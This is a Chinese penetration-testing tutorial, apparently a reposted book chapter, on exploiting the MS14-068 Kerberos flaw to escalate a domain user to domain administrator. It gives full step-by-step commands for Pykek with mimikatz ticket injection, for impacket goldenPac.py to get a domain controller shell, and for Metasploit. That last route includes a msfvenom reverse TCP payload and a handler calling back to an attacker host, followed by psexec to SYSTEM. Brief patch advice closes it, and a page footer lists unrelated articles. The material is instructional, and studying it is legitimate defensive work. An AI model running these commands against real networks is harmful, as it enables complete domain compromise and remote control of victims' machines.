kerberos-MS14-068(kerberos域用户提权)

点击星标,即时接收最新推文

7586b0dee82a44d477ad6898d149392f.png

微软官方在2014年11月18日发布了一个紧急补丁,Windows全版本服务器系统受到影响,包括Windows Server 2003,Windows Server 2008,Windows Server 2008 R2,Windows Server 2012和Windows Server 2012 R2,修复了Microsoft Windows Kerberos KDC(CVE-2014-6324),该漏洞可导致活动目录整体权限控制受到影响,漏洞允许黑客将域内任意用户权限提升至域管理级别。通俗来讲,就是恶意攻击者获取域内任何一台计算机shell权限,同时还知道任意一名域用户用户名、sid、密码,即可拿下域管理员进而拿下域控制器,最后拿下整个域权限。

导致这个漏洞产生的原因就是在用户向KDC(Kerberos密钥分发中心)申请TGT(由票据授权服务产生的用来证明身份的凭证)时,可以伪造自己的Kerberos Ticket(Kerberos票据),该Ticket声明自己是域管理员,而KDC在处理该Ticket时未正确验证Ticket的签名,所以返回给用户的TGT使普通域用户拥有了域管理员权限,该用户可以将TGT发送到KDC,KDC中TGS(票据授权服务)在验证TGT后,将Service Ticket(服务票据)发送给该用户,该用户拥有访问该服务的权限。使攻击者可以访问域内资源。

利用Kerberos提权的常用方法介绍

1、使用Pykek工具包配合mimikatz进行测试;

2、使用impacket工具包中goldenPac.py进行测试。

3、使用metasploit进行测试。

4、修复方案

我们常用的方法为第一种,好处是在于pykek只需要系统存在python2.7环境即可,还可以将python文件转换为exe,在免python环境下也可以执行。第二种方法的好处是可以直接得到交互shell,操作简单便捷,适合新手。但该工具是通过psexec的方式获得shell,该方法会产生大量日志,再之psexec已经被较多反病毒厂商列为危险文件,免杀效果较差。第三种方法好处是在metasploit下进行操作,metasploit是一款较为成熟的后渗透框架,其中包含大量exp,可以更快的进行渗透测试工作,坏处是操作步骤较多,较为复杂,不适合新手操作。

测试环境如下:

域:pentest.com

域账号:user1/Aa123456@

域sid:S-1-5-21-3112629480-1751665795-4053538595-1104

域控:WIN-2K5J2NT2O7P.pentest.com

Kali:172.16.86.131

域机器:172.16.86.129

Pykek工具包

Pykek是利用Kerberos协议进行攻击的工具包,Pykek可以生成一张高权限的服务票据,再使用mimikatz(法国人开发的轻量级调试器)将服务票据注入到内存。

Pykek(Python Kerberos Exploitation Kit),其下载地址为

https://github.com/mubix/pykek,

如图6-47所示。

92bc7cd26348ae96bf4a1a504a00d10d.png

图6-47脚本下载页面

(1)工具说明

ms14-068.py为Pykek工具包中利用脚本,如图6-48所示

5e3c44c6e218359ac4df837c77f1acab.png

图6-48 查看ms14-068.py

其参数如下

USAGE:
ms14-068.py
-u <userName>@<domainName> 用户名@域名
-s <userSid>        用户sid
-d <domainControlerAddr> 域控制器地址
OPTIONS:
-p <clearPassword> 明文密码。
--rc4 < ntlmHash> 没有明文的情况下,Ntlmhash登录。

(2)获取域控制器修复补丁情况

输入命令wmic qfe get hotfixid

微软对CVE-2014-6324提供的补丁修复为KB3011780,如图6-49所示,未发现该补丁。

279f2c12d38f8e5101e947f30f0719d4.png

图6-49获取域控制器修复补丁情况

(3)获取用户的SID

登录用户user1,输入命令,whoami/user。可以看到user1用户的SID为

S-1-5-21-3112629480-1751665795-4053538595-1104

如图6-50所示。

8339fb71499e6c7e591ee8b70ee0dcb1.png

图6-50获取用户的SID

还有一个方法也可以用来获取用户SID,

输入命令wmic useraccount get name,sid

可以获取域内所有用户名和SID,如图6-51所示。

1cfaeaec88a54de4ee9dcce6060d8991.png

图6-51获取所有用户的SID

(4)使用Kerberos利用工具Pykek生成高权限票据

使用方法:

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

在Pykek目录中输入如下命令,如图6-52所示,在当前目录生成了一个名为TGT_user1@pentest.com.ccache的票据文件。

python ms14-068.py -u user@pentest.com -s S-1-5-21-3112629480-1751665795-4053538595-1104 -d 172.16.86.130 -p Aa123456@

9f1eea5debcaf212b637fdcbe88855fc.png

图6-52使用Pykek生成高权限票据

(5)查看注入前权限

将票据文件复制到Windows 2008机器mimikatz目录中,使用mimikatz将票据注入到内存。先查看当前是否有权限访问域控制器,输入命令,如图6-53所示。

9cd7b44c36830d6b3f6cddb806dd26dd.png

图6-53注入票据前无法列出域控制器C盘目录

输入命令net use \\WIN-2K5J2NT2O7P\c$,提示Access is denied。

(6)清空内存中所有的票据

再打开mimikatz.exe,输入命令kerberos::purge清除现有票据信息,当看到Ticket(s) purge for current session is OK表示成功清除,如图6-54所示。

45584f642fd90d1244466467920338ae.png

图6-54清空内存中所有的票据

(7)将高权限票据注入到内存

在mimikatz中输入如下命令,看到Injecting ticket :OK表示成功注入,如图6-55所示,输入exit,退出mimikatz。

kerberos::ptc “TGT_user1@pentest.com.ccache”

4681b3925a47568cbb355398a3bcbb44.png

图6-55将高权限票据注入到内存中

(8)高权限注入到内存后验证权限

查看是否可以连接域控制器,再次使用dir尝试列出域控制器C盘目录,如图6-56所示,成功列出域控制器C盘目录。

0e387e5139b098b3eef98359ac21470e.png

图6-56注入后成功列出域控制器C盘目录

注:net use 在连接ip的时候可能会失败,故使用机器名进行连接。

goldenPac.py

goldenPac.py是被集成在impacket工具包中,用来操作kerberos的工具。goldenPac.py存放在impacket-master/examples目录中。

使用方法:

python goldenPac.py 域名称/域成员用户:域成员用户密码@域控制器地址

(1)依赖环境准备,安装kerberos客户端

Kali中默认未包含kerberos客户端,首先安装它。

输入命令apt-get install  krb5-user -y

(2)利用ms14-068配合psexec获取域控制器的cmd shell

goldenPac.py pentest.com/user1:jackpwd@dc.pentest.com

就可以得到一个cmd shell,如图6-57所示。

2f454e7b443d31429b4d9e6fc4a36c73.png

图6-57使用goldenPac.py获得一个域控制器cmd shell

注:

(1)该工具不止可以直接得到一个shell,还可以直接上传程序,

(2)该工具可以直接执行获取一个Cobaltstrike Beacon。

metasploit中利用ms14-068攻击域控制器

首先打开metasploit找到ms14-068利用脚本位置如下。

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

列出该脚本所需选项,如图6-58所示。

635d1592c5036afc81730be483da97a7.png

图6-58列出该脚本所有选项

DOMAIN:域名称

PASSWORD:被提权用户密码

USER:被提权用户

USER_SID:被提权用户SID

填写完成所有信息后输入exploit执行。在/root/.msf4/loot目录下生成了一个名为

kerberos::clist“20180715230259_default_172.16.86.130_windows.kerberos_839172.bin”

的bin文件,如图6-59所示。

e4bb1230cecfe9a82c7e0f604e34ac10.png

图6-59执行脚本,攻击域控制器

接着进行转换格式。由于msf不支持bin格式文件导入,先使用mimikatz将文件转换格式,在mimikatz 中输入以下命令,导出后文件为kirbi格式,如图6-60所示。

kerberos::clist
”20180715230259_default_172.16.86.130_windows.kerberos_839172.bin” /export

a08ae7194de54bcc6b7e143d5d44ace6.png

图6-60 格式转换

最后使用msfvenom生成msf反向连接木马,在msfvenom中生成木马,如图6-61所示。

在kali中输入如下命令。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.86.135 LPORT=4444 -f exe > shell.exe

875c4117b330af7f3b9ea3868ea76672.png

图6-61使用msfvenom生成msf木马

此时获得一个meterpreter的session,将生成的木马shell.exe上传到windows 2008机器中并执行。

在metasploit中输入如下命令。

use exploit/multi/reverse_tcp
set lhost 172.16.86.135
set lport 4444
exploit

可以看到上线一台主机ip为172.16.86.129。输入getuid回显PENTEST\user1,如图6-62所示。

d641723c5dd4a7ce198edf387ee39d83.png

图6-62成功获取一个session并加载kiwi

输入

load kiwi

输入

kerberos_ticket_use /tmp/0-00000000-user1@krbtgt-PENTEST.COM.kirbi

将票据导入,然后输入命令background将meterpreter切到后台,这里就可以使用高权限票据来进行权限提升。

在msf中输入以下命令执行。

use exploit/windows/local/current_user_psexec
set TECHNIQUE PSH
set RHOSTS WIN-2K5J2NT2O7P.pentest.com
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.86.135
set session 1
Exploit
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

成功提升权限。

修复方案

1、开启Windows Update功能,进行自动更新。

2、手工下载补丁包进行修复,微软已经在官网发布修复补丁ms14-068。

3、对域内账号进行控制,禁止使用弱口令,及时并定期修改密码。

4、在服务器端安装反病毒软件,及时更新病毒库。

054225b4681d12f327388d1049504f01.gif

MS08067安全实验室视频号已上线

欢迎各位同学关注转发~

—  实验室旗下直播培训课程  —

f35239dc1e561b8a8b242e5bf6f45a05.png

1d0c387ac28333775355e3523310a02e.jpeg

38d7976f9d313ece62cfc28d4e71f54d.jpeg49f28c698327eab176b0322089c8531b.png

b3efaf964e6bf722a0b4388c4390e4e8.png

d7258ae4bf0a71f8bc0d42a40f3dd1a5.jpeg

58825502220ca32ff82478e2f8ce94c2.jpeg

f87e52c0abe948de508b358488c2b47f.jpeg

63dcd2203edb56ea7a4f4a7f97183512.png

和20000+位同学加入MS08067一起学习

da3b0c9234360ae9b1eda6bcaf50ca6d.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/153183.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ROS】RViz2源码分析(三):核心类VisualizerApp

【ROS】郭老二博文之:ROS目录 1、简述 VisualizerApp包含了三个主要的功能: QApplication:程序中主要调用app_->processEvents()来处理刷新界面,处理闪屏VisualizationFrame:窗口类都在此;RosClientAbstractionIface包含rclcpp::Node:代表ROS节点2、VisualizationF…

LeetCode热题100——二分查找

二分查找 1. 搜索插入位置2. 搜素二维矩阵3. 在排序数组中查找第一个和最后一个元素位置 1. 搜索插入位置 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 // 题…

【电路笔记】-星三角变换(Star-Delta Transformation)

星三角变换&#xff08;Star-Delta Transformation&#xff09; 文章目录 星三角变换&#xff08;Star-Delta Transformation&#xff09;1、概述1.1 单相配置1.2 多相配置 2、三相连接2.1 Y配置2.2 Δ配置 3、Y-Δ 和 Δ-Y 变换3.1 Y-Δ变换3.2 Δ-Y变换3.3 应用 4、总结 本文…

蓝桥杯每日一题2023.11.20

题目描述 “蓝桥杯”练习系统 (lanqiao.cn) 题目分析 方法一&#xff1a;暴力枚举&#xff0c;如果说数字不在正确的位置上也就意味着这个数必须要改变&#xff0c;进行改变记录即可 #include<bits/stdc.h> using namespace std; const int N 2e5 10; int n, a[N], …

【活动通知】2023 Elastic Meetup 北京站将于12月2日下午1点30在北京召开

《2023 Elastic Meetup 北京站》活动将于 12 月 2 日下午 1 点 30 在北京市海淀区西北旺东路10号腾讯北京总部大楼213会议室举办&#xff0c;届时将有行业专家及知名企业分享他们在 Elasticsearch 应用中的经验与观点&#xff0c;带来最前沿的技术分享与思想碰撞。 请使用电脑浏…

车载毫米波雷达行业发展5——企业

5.1 博世 5.1.1 公司简介 博世集团创立于 1886 年&#xff0c;业务涵盖汽车与智能交通技术、工业技术、消费品、能源与建 筑技术四大领域&#xff0c;是德国最大的工业企业之一、全球最大的汽车零部件供应商、最早研究车载毫米波雷达的企业之一。博世在高级辅助驾驶和自动驾驶…

mfc140u.dll丢失的解决方法,以及mfc140u.dll解决方法的优缺点

在使用电脑过程中&#xff0c;有时会遇到一些与动态链接库文件&#xff08;DLL&#xff09;相关的错误。其中&#xff0c;mfc140u.dll丢失的错误是较为常见的一种。当这个关键的mfc140u.dll文件丢失或损坏时&#xff0c;可能会导致某些应用程序无法正常运行。在本文中&#xff…

linux清理僵尸进程

当你top看到这个&#xff0c;或者按M后看到内存吃的很多&#xff0c;那你看下有没有&#x1f9df; 二选一查看是什么进程 ps aux | egrep "Z|defunct" ps -aux | awk {if($8"Z"){print $2,$11}}没用直接杀杀杀 kill -9 查到的PID号可中断下载文件 wget…

AlmaLinux download

前言 一个开源的、社区拥有和管理的、永远免费的企业级Linux发行版&#xff0c;专注于长期稳定性&#xff0c;提供一个健壮的生产级平台。AlmaLinux操作系统是1:1二进制兼容RHEL和pre-Stream CentOS。 AlmaLinux download VersionAlmaLinux downloadAlmaLinux backup阿里云…

webshell免杀之传参方式

1.Cookie 由于Cookie基本上是每个web应用都需要使用到的&#xff0c;php应用在默认情况下&#xff0c;在Cookies请求头中会存在一个PHPSESSIDxxxx这样的cookie&#xff0c;其实这个就可以成为我们的传参位置 使用burp抓包将内容改成base64加密后的命令 可以看到已经执行成功了…

c语言从入门到实战——回调函数与qsort的讲解和模拟实现

回调函数与qsort的讲解和模拟实现 前言1. 回调函数是什么&#xff1f;2. qsort2.1 使用qsort函数排序整型数据2.2 使用qsort排序结构数据 3. qsort函数的模拟实现 前言 回调函数是一个函数&#xff0c;它作为参数传递给另一个函数&#xff0c;并且能够在该函数内部被调用。在C…

Nginx 可视化管理平台:nginx-proxy-manager

本心、输入输出、结果 文章目录 Nginx 可视化管理平台:nginx-proxy-manager前言nginx-proxy-managernginx-proxy-manager 特性快速开始使用 Docker 网络开启 Docker 健康检查相关可视化页面相关链接弘扬爱国精神Nginx 可视化管理平台:nginx-proxy-manager 编辑:简简单单 Onl…

深入解析SSD Wear Leveling磨损均衡技术:如何让你的硬盘更长寿?

SSD的存储介质是什么&#xff0c;它就是NAND闪存。那你知道NAND闪存是怎么工作的吗&#xff1f;其实&#xff0c;它就是由很多个晶体管组成的。这些晶体管里面存储着电荷&#xff0c;代表着我们的二进制数据&#xff0c;要么是“0”&#xff0c;要么是“1”。NAND闪存原理上是一…

【DevOps】Git 图文详解(五):远程仓库

Git 图文详解&#xff08;五&#xff09;&#xff1a;远程仓库 1.远程用户登录1.1 &#x1f511; 远程用户登录&#xff1a;HTTS1.2 &#x1f511; 远程用户登录&#xff1a;SSH 2.远程仓库指令 &#x1f525;3.推送 push / 拉取 pull4.fetch 与 pull 有什么不同 &#xff1f; …

【汇编】“转移”综述、操作符offset、jmp指令

文章目录 前言一、转移综述1.1 :背景&#xff1a;1.2 转移指令1.3 转移指令的分类按转移行为根据指令对IP修改的范围不同 二、操作符offset2.1 offset操作符是干什么的&#xff1f;标号是什么&#xff1f; 2.2 nop是什么&#xff1f; 三、jmp指令3.1 jmp指令的功能3.2 jmp指令&…

【目标测距】雷达投影测距

文章目录 前言一、读取点云二、点云投影图片三、读取检测信息四、点云投影测距五、学习交流 前言 雷达点云投影相机。图片目标检测&#xff0c;通过检测框约束等等对目标赋予距离。计算消耗较大&#xff0c;适合离线验证操作。在线操作可以只投影雷达检测框。 一、读取点云 py…

校园报修抢修小程序系统开发 物业小区报修预约上门维修工单系统

开发的功能模块有&#xff1a; 1.报修工单提交&#xff1a;学生、教职员工等可以使用小程序提交报修请求。这通常包括选择报修的问题类型&#xff08;如水漏、电器故障、照明问题等&#xff09;&#xff0c;地点&#xff0c;报修联系人&#xff0c;联系电话等&#xff0c;并提供…

【5k字长文 | Vue学习笔记】#1 认识Vue对象和基础语法

Vue是一个非常流行的渐进式JavaScript框架&#xff0c;渐进式指的是自底向上&#xff0c;从小组件逐渐向上构成整个项目&#xff0c;渐进式还可以理解为&#xff1a;用什么就拿什么&#xff0c;每个组件只做自己的事&#xff0c;尽可能解耦合。 本节我们将学习简单的Vue实例&a…

Thales安全解决方案:国家网络安全的关键

随着信息技术的飞速发展&#xff0c;网络安全问题日益凸显。在这个背景下&#xff0c;Thales安全解决方案正成为提高国家网络安全的关键。本文将探讨Thales安全解决方案如何为国家网络安全保驾护航。 一、Thales安全解决方案概述 Thales安全解决方案是一种全方位的网络安全防护…

upload-labs关卡11(双写后缀名绕过)通关思路

文章目录 前言一、回顾前几关知识点二、靶场第十一关通关思路1、看源代码2、bp抓包双写后缀名绕过3、检查文件是否成功上传 总结 前言 此文章只用于学习和反思巩固文件上传漏洞知识&#xff0c;禁止用于做非法攻击。注意靶场是可以练习的平台&#xff0c;不能随意去尚未授权的…